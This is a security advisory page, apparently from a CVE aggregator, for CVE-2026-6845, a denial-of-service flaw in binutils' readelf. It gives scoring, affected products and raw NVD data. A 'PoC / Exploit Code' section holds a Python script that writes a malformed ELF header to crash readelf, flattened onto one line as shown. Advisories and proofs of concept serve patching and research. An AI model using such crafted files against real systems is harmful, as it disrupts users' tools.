Security Vulnerability Report
中文
CVE-2026-6845 CVSS 5.0 MEDIUM

CVE-2026-6845

Published: 2026-04-22 09:16:27
Last Modified: 2026-05-20 13:58:17

Description

A flaw was found in binutils, specifically within the `readelf` utility. This vulnerability allows a local attacker to cause a Denial of Service (DoS) by tricking a user into processing a specially crafted Executable and Linkable Format (ELF) file. The exploitation of this flaw can lead to the system becoming unresponsive due to excessive resource consumption or a program crash.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnu:binutils:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:* - VULNERABLE
binutils (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Generate a malformed ELF file POC for CVE-2026-6845 # This POC creates a basic ELF header with a manipulated section header offset # intended to trigger a parsing error or crash in vulnerable readelf versions. def generate_malformed_elf(filename): # ELF Identifier (64-bit LSB) e_ident = b'\x7fELF\x02\x01\x01\x00' + b'\x00' * 8 # ELF Header fields e_type = struct.pack('<H', 1) # ET_REL e_machine = struct.pack('<H', 62) # EM_X86_64 e_version = struct.pack('<I', 1) e_entry = struct.pack('<Q', 0) e_phoff = struct.pack('<Q', 0) # Set a very large or invalid offset for section headers to trigger the bug e_shoff = struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) e_flags = struct.pack('<I', 0) e_ehsize = struct.pack('<H', 64) e_phentsize = struct.pack('<H', 0) e_phnum = struct.pack('<H', 0) e_shentsize = struct.pack('<H', 64) e_shnum = struct.pack('<H', 1) # Claim there is 1 section header e_shstrndx = struct.pack('<H', 0) # Assemble header elf_header = e_ident + e_type + e_machine + e_version + e_entry + \ e_phoff + e_shoff + e_flags + e_ehsize + e_phentsize + \ e_phnum + e_shentsize + e_shnum + e_shstrndx with open(filename, 'wb') as f: f.write(elf_header) print(f"Malformed ELF file '{filename}' generated successfully.") print("Usage: readelf -a " + filename) if __name__ == "__main__": generate_malformed_elf("cve_2026_6845_poc.bin")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6845", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:27.373", "lastModified": "2026-05-20T13:58:17.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in binutils, specifically within the `readelf` utility. This vulnerability allows a local attacker to cause a Denial of Service (DoS) by tricking a user into processing a specially crafted Executable and Linkable Format (ELF) file. The exploitation of this flaw can lead to the system becoming unresponsive due to excessive resource consumption or a program crash."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:binutils:-:*:*:*:*:*:*:*", "matchCriteriaId": "70CA109B-85B9-4EF2-9A5F-A7D12F6EA878"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6845", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460012", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}